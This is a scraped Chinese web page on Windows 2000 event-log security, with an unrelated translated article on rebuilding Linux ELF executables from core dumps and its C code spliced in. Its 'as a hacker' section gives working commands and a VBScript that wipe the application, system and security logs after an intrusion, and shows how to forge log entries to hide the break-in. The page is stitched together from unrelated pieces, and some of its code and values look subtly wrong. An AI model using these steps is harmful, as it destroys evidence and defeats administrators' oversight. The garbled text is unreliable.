日志对于系统安全的作用是显而易见的,无论是网络管理员还是黑客都非常重视日志,一个有经验的管理员往往能够迅速通过日志了解到系统的安全性能,而一个聪明的黑客往往会在入侵成功 后迅速清除掉对自己不利的日志。下面我们就来讨论一下日志的安全和创建问题。
=版权所有 软件 下载 学院 版权所有=
一:概述:
<!--StartFragment-->从core映像文件中重新构造ELF可执行文件
------------------------------------------------
- Silvio Cesare <
[email protected]>
- December 1999
- http://www.big.net.au/~silvio
- http://virus.beergrave.net/
整理:e4gle<
[email protected]> from e4gle.org
目录
-----------------
2.0到2.2内核的改变
绪论
进程映像
core映像
重建可执行文件
重建失败的一些例子
实现
2.0到2.2内核的改变
------------------------------
本文主要是针对Linux的2.0.x内核,但是这些代码应该也可以在2.2.x执行.2.0.x内核和2.2.x内
核的内存映像是有区别的,包括ELF的core dump的映像我想也有所改变.译者注:我尽力调试此文档
使它可以适合2.2.x内核.
绪论
------------
这篇文档实践并讲述了在给定一个core dump或者进程映像的快照文件下重新构造ELF可格式的二进制
可执行文件的技术.对于本文的读者,ELF格式的相关知识是必要的.
进程映像
-----------------
简单来说,一个core映像就是进程映像发生dump的那个时候的快照.进程映像包括了许多可加载的程序段
或虚拟内存区.这在一个ELF格式的二进制文件里涉及程序头,在linux内核里涉及到vm_area_strUCt
结构.一个core dump就是vm_area_struct的dump,而相应的可执行程序头和共享库用来创建进程
映像.在linux里,一组vm_area_struct为proc伪文件系统提供了内存映像.我们看一下下面这个例子,
这是一个拥了libc的典型的映像:
[e4gle@linux]# cat /proc/31189/maps
08048000-0804d000 r-XP 00000000 03:08 243714 /bin/login
0804d000-0804e000 rw-p 00004000 03:08 243714 /bin/login
0804e000-0805a000 rwxp 00000000 00:00 0
40000000-40013000 r-xp 00000000 03:08 304059 /lib/ld-2.1.3.so
40013000-40014000 rw-p 00012000 03:08 304059 /lib/ld-2.1.3.so
40014000-40016000 rw-p 00000000 00:00 0
40016000-40018000 r-xp 00000000 03:08 96347 /lib/security/pam_securetty.so
40018000-40019000 rw-p 00001000 03:08 96347 /lib/security/pam_securetty.so
40019000-4001a000 r-xp 00000000 03:08 96341 /lib/security/pam_nologin.so
[1] [2] [3] [4] [5] [6] [7] [8] [9]
4001a000-4001b000 rw-p 00000000 03:08 96341 /lib/security/pam_nologin.so
4001c000-40021000 r-xp 00000000 03:08 304068 /lib/libcrypt-2.1.3.so
40021000-40022000 rw-p 00004000 03:08 304068 /lib/libcrypt-2.1.3.so
40022000-40049000 rw-p 00000000 00:00 0
40049000-40050000 r-xp 00000000 03:08 304304 /lib/libpam.so.0.72
40050000-40051000 rw-p 00006000 03:08 304304 /lib/libpam.so.0.72
40051000-40053000 r-xp 00000000 03:08 304075 /lib/libdl-2.1.3.so
40053000-40055000 rw-p 00001000 03:08 304075 /lib/libdl-2.1.3.so
40055000-40057000 r-xp 00000000 03:08 304307 /lib/libpam_misc.so.0.72
40057000-40058000 rw-p 00001000 03:08 304307 /lib/libpam_misc.so.0.72
40058000-40059000 rw-p 00000000 00:00 0
40059000-40146000 r-xp 00000000 03:08 304066 /lib/libc-2.1.3.so
40146000-4014a000 rw-p 000ec000 03:08 304066 /lib/libc-2.1.3.so
bfff9000-c0000000 rwxp ffffa000 00:00 0
从上面可以看到,我举了一个login程序的例子,首先的两块内存区域用虚拟地址08048000-0804d000
和0804d000-0804e000分别对应了文本段和数据段.注意一下也是有权限设置的.同时内存区域仅仅
由页边界来决定.所有的core dump或映像内存区域都取决于页边界.意思是最小的内存区域就是一个
页的长度.需要注意的是由ELF格式的程序头表现的程序段是和页边界无关的,所以程序段不会在虚拟
内存区域产生映像.后面几个区域是动态链接相关的库的加载,最后一行是栈.
CORE映像
--------------
core映像就是进程dump出来的映像,具有一些额外寄存器的节和一些有用的信息.在一个ELF的core
映像里,进程映像的的内存区域相对应程序段,所以一个core文件拥有一个针对每个虚拟内存空间的
程序头列表.关于寄存器的信息存储在ELF二进制格式的notes节里.从一个core dump或者进程映像
里来重建可执行文件,我们可以忽略寄存器且把精力仅仅集中在内存区域上.
重建可执行文件
--------------------------
从一个core dump的文件里重建可执行文件我们必须从core映像中提取ELF可执行所需的文本段和
数据段对应的内存区域.当在加载代码段的时候,ELF头和程序头也同时加载进内存了(这样可以提高
效率)所以我们可以利用这些来创建可执行映像.可执行的ELF头包括一些象真实的代码段和数据段的
起始地址和大小这样的信息(记住,内存区域取决于页边界).
现在,假如我们只在我们重建的文件中用到代码段和数据段,导致的结果就使我们的可执行程序只可
以工作在被创建这个程序的系统上.因为PLT可能拥有一个共享库函数指向它的加载值.移动二进制
程序会使库函数不同的位置,或者使函数改变位置.所以,只能在重建的系统上运行,要使可以运行在
系统就必须使整个映像(栈除外)包括在重建的可执行程序里,这在下面的程序可以反应出来.
重建失败的一些例子
--------------------------
重建的一些问题,进程映像的快照是实时运行的,并不是起始时间,所以数据段的值可能会被改掉,数据
段是可写的.看看下面的代码
static int i = 0;
int main()
{
if (i++) exit(0);
printf("Hi\n");
}
在这个例子中,重建映像会导致程序立即退出,因为它依靠全局变量i的初始值来判定程序的流程.
实现
----------------------
其实重建可执行映像没用到很高深的理论,它只是把一个只有执行权限的可执行程序复制出来而已.
创建一个core dump不难,只需要给进程发送一个SIGSEGV信号,core映像就从进程映像中被拷贝
到了proc文件系统里了.
--
[e4gle@linux]$ cat test_harness.c
int main()
{
for (;;) printf("Hi\n");
}
[e4gle@linux]$ gcc test_harness.c -o test_harness
[1] [2] [3] [4] [5] [6] [7] [8] [9]
[e4gle@linux]$ ./test_harness <-验证该程序的输出(e4gle:好像杀不掉了,所以为了便于测试
我采用后台运行它,再给它发送一个SIGSEGV信号)
Hi
Hi
Hi
.
.
.
[e4gle@linux]$ ./test_harness >/dev/null &
[1] 15254
[e4gle@linux]# ps -eaf|grep test_harness
root 15254 15229 99 17:16 pts/3 00:00:19 ./test_harness
root 15256 15229 0 17:17 pts/3 00:00:00 grep test_harness
[e4gle@linux]# kill -SIGSEGV 15254 <-使它core dump
[e4gle@linux]$ gcc -o core_reconstruct core_reconstruct.c
[e4gle@linux]$ ./core_reconstruct <-我们写的提取例程来从core中提出可执行映像
[e4gle@linux]$ ./a.out <-测试我们提取出来的可执行文件
Hi
Hi
Hi
.
.
.
以下是提取core文件到可执行程序的例程.(e4gle:这个程序还是很容易理解的:)
--------------------------------- CUT ---------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <elf.h>
#include <stdarg.h>
#include <string.h>
void die(const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
fputc('\n', stderr);
exit(1);
}
#define PAGE_SIZE 4096
static char shstr[] =
"\0"
".symtab\0"
".strtab\0"
".shstrtab\0"
".interp\0"
".hash\0"
".dynsym\0"
".dynstr\0"
".rel.got\0"
".rel.bss\0"
".rel.plt\0"
".init\0"
".plt\0"
".text\0"
".fini\0"
".rodata\0"
".data\0"
".ctors\0"
".dtors\0"
".got\0"
".dynamic\0"
".bss\0"
".comment\0"
".note"
;
char *xget(int fd, int off, int sz)
{
char *buf;
if (lseek(fd, off, SEEK_SET) < 0) die("Seek error");
buf = (char *)malloc(sz);
if (buf == NULL) die("No memory");
if (read(fd, buf, sz) != sz) die("Read error");
return buf;
}
void do_elf_checks(Elf32_Ehdr *ehdr)
{
if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) die("File not ELF");
if (ehdr->e_type != ET_CORE) die("ELF type not ET_CORE");
[1] [2] [3] [4] [5] [6] [7] [8] [9]
if (ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486)
die("ELF machine type not EM_386 or EM_486");
if (ehdr->e_version != EV_CURRENT) die("ELF version not current");
}
int main(int argc, char *argv[])
{
Elf32_Ehdr ehdr, *core_ehdr;
Elf32_Phdr *phdr, *core_phdr, *tmpphdr;
Elf32_Shdr shdr;
char *core;
char *data[2], *core_data[3];
int prog[2], core_prog[3];
int in, out;
int i, p;
int plen;
if (argc > 2) die("usage: %s [core-file]");
if (argc == 2) core = argv[1];
else core = "core";
in = open(core, O_RDONLY);
if (in < 0) die("Coudln't open file: %s", core);
if (read(in, &ehdr, sizeof(ehdr)) != sizeof(ehdr)) die("Read error");
do_elf_checks(&ehdr);
if (lseek(in, ehdr.e_phoff, SEEK_SET) < 0) die("Seek error");
phdr = (Elf32_Phdr *)malloc(plen = sizeof(Elf32_Phdr)*ehdr.e_phnum);
if (read(in, phdr, plen) != plen) die("Read error");
for (i = 0; i < ehdr.e_phnum; i++)
printf("0x%x - 0x%x (%i)\n",
phdr[i].p_vaddr, phdr[i].p_vaddr + phdr[i].p_memsz, phdr[i].p_memsz);
/*
copy segments (in memory)
prog/data[0] ... text
prog/data[1] ... data
prog/data[2] ... dynamic
*/
for (i = 0, p = 0; i < ehdr.e_phnum; i++) {
if (
phdr[i].p_vaddr >= 0x8000000 &&
phdr[i].p_type == PT_LOAD
) {
prog[p] = i;
if (p == 1) break;
++p;
}
}
if (i == ehdr.e_phnum) die("Couldnt find TEXT/DATA");
for (i = 0; i < 2; i++) data[i] = xget(
in,
phdr[prog[i]].p_offset,
(phdr[prog[i]].p_memsz + 4095) & 4095
);
core_ehdr = (Elf32_Ehdr *)&data[0][0];
[1] [2] [3] [4] [5] [6] [7] [8] [9]
core_phdr = (Elf32_Phdr *)&data[0][core_ehdr->e_phoff];
for (i = 0, p = 0; i < core_ehdr->e_phnum; i++) {
if (core_phdr[i].p_type == PT_LOAD) {
core_prog[p] = i;
if (p == 0) {
core_data[0] = &data[0][0];
} else {
core_data[1] = &data[1][
(core_phdr[i].p_vaddr & 4095)
];
break;
}
++p;
}
}
if (i == core_ehdr->e_phnum) die("No TEXT and DATA segment");
for (i = 0; i < core_ehdr->e_phnum; i++) {
if (core_phdr[i].p_type == PT_DYNAMIC) {
core_prog[2] = i;
core_data[2] = &data[1][64];
break;
}
}
if (i == core_ehdr->e_phnum) die("No DYNAMIC segment");
out = open("a.out", O_WRONLY | O_CREAT | O_TRUNC);
if (out < 0) die("Coudln't open file: %s", "a.out");
core_ehdr->e_shoff =
core_phdr[core_prog[2]].p_offset +
core_phdr[core_prog[2]].p_filesz +
sizeof(shstr);
/*
text
data
bss
dynamic
shstrtab
*/
core_ehdr->e_shnum = 6;
core_ehdr->e_shstrndx = 5;
for (i = 0; i < 2; i++) {
Elf32_Phdr *p = &core_phdr[core_prog[i]];
int sz = p->p_filesz;
if (lseek(out, p->p_offset, SEEK_SET) < 0) goto cleanup;
[1] [2] [3] [4] [5] [6] [7] [8] [9]
if (write(out, core_data[i], sz) != sz) goto cleanup;
}
if (write(out, shstr, sizeof(shstr)) != sizeof(shstr)) goto cleanup;
memset(&shdr, 0, sizeof(shdr));
if (write(out, &shdr, sizeof(shdr)) != sizeof(shdr)) goto cleanup;
/*
text section
*/
tmpphdr = &core_phdr[core_prog[0]];
shdr.sh_name = 95;
shdr.sh_type = SHT_PROGBITS;
shdr.sh_addr = tmpphdr->p_vaddr;
shdr.sh_offset = 0;
shdr.sh_size = tmpphdr->p_filesz;
shdr.sh_flags = SHF_ALLOC | SHF_EXECINSTR;
shdr.sh_link = 0;
shdr.sh_info = 0;
shdr.sh_addralign = 16;
shdr.sh_entsize = 0;
if (write(out, &shdr, sizeof(shdr)) != sizeof(shdr)) goto cleanup;
/*
data section
*/
tmpphdr = &core_phdr[core_prog[1]];
shdr.sh_name = 115;
shdr.sh_type = SHT_PROGBITS;
shdr.sh_addr = tmpphdr->p_vaddr;
shdr.sh_offset = tmpphdr->p_offset;
shdr.sh_size = tmpphdr->p_filesz;
shdr.sh_flags = SHF_ALLOC | SHF_WRITE;
shdr.sh_link = 0;
shdr.sh_info = 0;
shdr.sh_addralign = 4;
shdr.sh_entsize = 0;
if (write(out, &shdr, sizeof(shdr)) != sizeof(shdr)) goto cleanup;
/*
dynamic section
*/
for (i = 0; i < core_ehdr->e_phnum; i++) {
if (core_phdr[i].p_type == PT_DYNAMIC) {
tmpphdr = &core_phdr[i];
break;
}
}
shdr.sh_name = 140;
shdr.sh_type = SHT_PROGBITS;
shdr.sh_addr = tmpphdr->p_vaddr;
shdr.sh_offset = tmpphdr->p_offset;
shdr.sh_size = tmpphdr->p_memsz;
shdr.sh_flags = SHF_ALLOC;
shdr.sh_link = 0;
shdr.sh_info = 0;
shdr.sh_addralign = 4;
shdr.sh_entsize = 8;
if (write(out, &shdr, sizeof(shdr)) != sizeof(shdr)) goto cleanup;
/*
bss section
*/
shdr.sh_name = 149;
shdr.sh_type = SHT_PROGBITS;
[1] [2] [3] [4] [5] [6] [7] [8] [9]
shdr.sh_addr = tmpphdr->p_vaddr + tmpphdr->p_filesz;
shdr.sh_offset = tmpphdr->p_offset + tmpphdr->p_filesz;
shdr.sh_size = tmpphdr->p_memsz - tmpphdr->p_filesz;
shdr.sh_flags = SHF_ALLOC;
shdr.sh_link = 0;
shdr.sh_info = 0;
shdr.sh_addralign = 1;
shdr.sh_entsize = 0;
if (write(out, &shdr, sizeof(shdr)) != sizeof(shdr)) goto cleanup;
/*
shstrtab
*/
shdr.sh_name = 17;
shdr.sh_type = SHT_STRTAB;
shdr.sh_addr = 0;
shdr.sh_offset = core_ehdr->e_shoff - sizeof(shstr);
shdr.sh_size = sizeof(shstr);
shdr.sh_flags = 0;
shdr.sh_link = 0;
shdr.sh_info = 0;
shdr.sh_addralign = 1;
shdr.sh_entsize = 0;
if (write(out, &shdr, sizeof(shdr)) != sizeof(shdr)) goto cleanup;
return 0;
=版权所有 软件 下载 学院 版权所有=
cleanup:
unlink("a.out");
die("Error writing file: %s", "a.out");
return 1; /* not reached */
}
windows 2000的系统日志文件有应用程序日志,安全日志、系统日志、DNS服务器日志等等,应用程序日志、安全日志、系统日志、DNS日志默认位置:%systemroot%\system32\config,默认文件大小512KB。
安全日志文件:%systemroot%\system32\config\SecEvent.EVT
系统日志文件:%systemroot%\system32\config\SysEvent.EVT
应用程序日志文件:%systemroot%\system32\config\AppEvent.EVT
这些LOG文件在注册表中的:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog有的管理员很可能将这些日志重定位。其中EVENTLOG下面有很多的子表,里面可查到以上日志的定位目录。
二:作为网络管理员:
1.日志的安全配置:
默认的条件下,日志的大小为512KB大小,如果超出则会报错,并且不会再记录任何日志。所以首要任务是更改默认大小,具体方法:注册表中HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog对应的每个日志如系统,安全,应用程序等均有一个maxsize子键,修改即可。
下面给出一个来自微软站点的一个脚本,利用VMI来设定日志最大25MB,并允许日志自行覆盖14天前的日志:
该脚本利用的是WMI对象, WMI(Windows Management Instrumentation)技术是微软提供的Windows下的系统管理工具。通过该工具可以在本地或者管理客户端系统中几乎一切的信息。很多专业的网络管理工具都是基于WMI开发的。该工具在Win2000以及WinNT下是标准工具,在Win9X下是扩展安装选项。所以以下的代码在2000以上均可运行成功。
[1] [2] [3] [4] [5] [6] [7] [8] [9]
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Security)}!\\" & _
strComputer & "\root\cimv2") \'获得VMI对象
Set colLogFiles = objWMIService.ExecQuery _
("Select * from Win32_NTEventLogFile")
For each objLogfile in colLogFiles
strLogFileName = objLogfile.Name
Set wmiSWbemObject = GetObject _
("winmgmts:{impersonationLevel=Impersonate}!\\.\root\cimv2:" _
& "Win32_NTEventlogFile.Name=\'" & strLogFileName & "\'")
wmiSWbemObject.MaxFileSize = 2500000000
wmiSWbemObject.OverwriteOutdated = 14
wmiSWbemObject.Put_
Next
将上述脚本用记事本存盘为vbs为后缀的即可使用。
另外需要说明的是代码中的strComputer="."在Windows脚本中的含义相当于localhost,如果要在远程主机上执行代码,只需要把"."改动为主机名,当然首先得拥有对方主机的管理员权限并建立IPC连接.本文中的代码所出现的strComputer均可作如此改动。
2. 日志的查询与备份:
一个优秀的管理员是应该养成备份日志的习惯,如果有条件的话还应该把日志转存到备份机器上或直接转储到打印机上,在这里推荐微软的resourceKit工具箱中的dumpel.exe,他的常用方法:
dumpel -f filename -s \\server -l log
-f filename 输出日志的位置和文件名
-s \\server 输出远程计算机日志
-l log log 可选的为system,security,application,可能还有别的如DNS等.
如要把目标服务器server上的系统日志转存为backupsystem.log可以用以下格式:
dumpel \\server -l system -f backupsystem.log
再利用计划任务可以实现定期备份系统日志。
另外利用脚本编程的VMI对象也可以轻而易举的实现日志备份:
下面给出备份application日志的代码:
backuplog.vbs
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Backup)}!\\" & _
strComputer & "\root\cimv2") \'获得 VMI对象
Set colLogFiles = objWMIService.ExecQuery _
("Select * from Win32_NTEventLogFile where LogFileName=\'Application\'") \'获取日志对象中的应用程序日志
For Each objLogfile in colLogFiles
errBackupLog = objLogFile.BackupEventLog("f:\application.evt") \'将日志备份为f:\application.evt
If errBackupLog <> 0 Then
Wscript.Echo "The Application event log could not be backed up."
else Wscript.Echo "success backup log"
End If
Next
程序说明:如果备份成功将窗口提示:"success backup log" 否则提示:"The Application event log could not be backed up",此处备份的日志为application 备份位置为f:\application.evt,可以自行修改,此处备份的格式为evt的原始格式,用记事本打开则为乱码,这一点他不如dumpel用得方便。
三:作为黑客
1、日至清除
一个入侵系统成功后的黑客第一件事便是清除日志,如果以图形界面远程控制对方机器或是从终端登陆进入,删除日志不是一件困难的事,由于日志虽然也是作为一种服务运行,但不同于http,FTP这样的服务,可以在命令行下先停止,再删除,在m命令行下用net stop eventlog是不能停止的,所以有人认为在命令行下删除日志是很困难的,实际上不是这样,下面介绍几种方法:
(1)借助第三方工具:如小榕的elsave.exe远程清除system,applicaton,security的软件,使用方法很简单,首先利用获得的管理员账号与对方建立ipc会话,net use \\ip pass /user: user
然后命令行下:elsave -s \\ip -l application -C,这样就删除了安全日志。
其实利用这个软件还可以进行备份日志,只要加一个参数 -f filename就可以了,在此不再详述。
(2)利用脚本编程中的VMI,也可以实现删除日志,首先获得object对象,然后利用其clearEventLog()方法删除日志。源代码:
[1] [2] [3] [4] [5] [6] [7] [8] [9]
cleanevent.vbs
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Backup)}!\\" & _
strComputer & "\root\cimv2")
dim mylogs(3)
mylogs(1)="application"
mylogs(2)="system"
mylogs(3)="security"
for Each logs in mylogs
Set colLogFiles = objWMIService.ExecQuery _
("Select * from Win32_NTEventLogFile where LogFileName=\'"&logs&"\'")
For Each objLogfile in colLogFiles
objLogFile.ClearEventLog()
Next
next
在上面的代码中,建立一个数组,为application,security,system如果还有其他日志也可以加入数组。
然后用一个for 循环,删除数组中的每一个元素,即各个日志.
2、创建日志:
删除日志后,任何一个有头脑的管理员面对空空的日志,马上就会反应过来被入侵了,所以一个聪明的黑客的学会如何伪造日志:
(1)利用脚本编程中的eventlog方法是创造日志变得非常简单;下面看一个代码
createlog.vbs
set ws=wscript.createobject("Wscript.shell")
ws.logevent 0 ,"write log success" \'创建一个成功执行日志
这个代码很容易阅读,首先获得wscript的一个shell对象,然后利用shell对象的logevent方法
logevent的用法:logevent eventtype,"description" [,remote system]
eventtype 为日志类型,可以使用的如下:0 代表成功执行;1 执行出错;2 警告;4 信息;8 成功审计;16 故障审计
所以上面代码中,把0改为1,2,4,8,16均可,引号下的为日志描述。
这种方法写的日志有一个缺点,只能写到应用程序日志,而且日至来源只能为wsh,即Windows scripting host,所以不能起太多的隐蔽作用。
(2)微软为了方便系统管理员和程序员,在xp下有个新的命令行工具,eventcreate.exe,利用它,创建日志更加简单。
eventcreate -s server -l logname -u username -p passWord -so source -t eventtype -id id -d description
含义:-s 为远程主机创建日志: -u 远程主机的用户名 -p 远程主机的用户密码
-l 日志;可以创建system和application 不能创建security日志,
-so 日志来源,可以是任何日志 -t 日志类型 如information信息,error错误,warning 警告,
-d 日志描述,可以是任意语句 -id 自主日志为1-1000之内
例如,我们要本地创建一个系统日志,日至来源为admin,日志类型是警告,描述为"this is a test",事件ID为500
可以用如下参数
eventcreate -l system -so administrator -t warning -d "this is a test" -id 500
这个工具不能创建安全日志。至于如何创建安全日志,希望大家能够找到一个好方法!
(出处:http://www.sheup.com)
[1] [2] [3] [4] [5] [6] [7] [8] [9]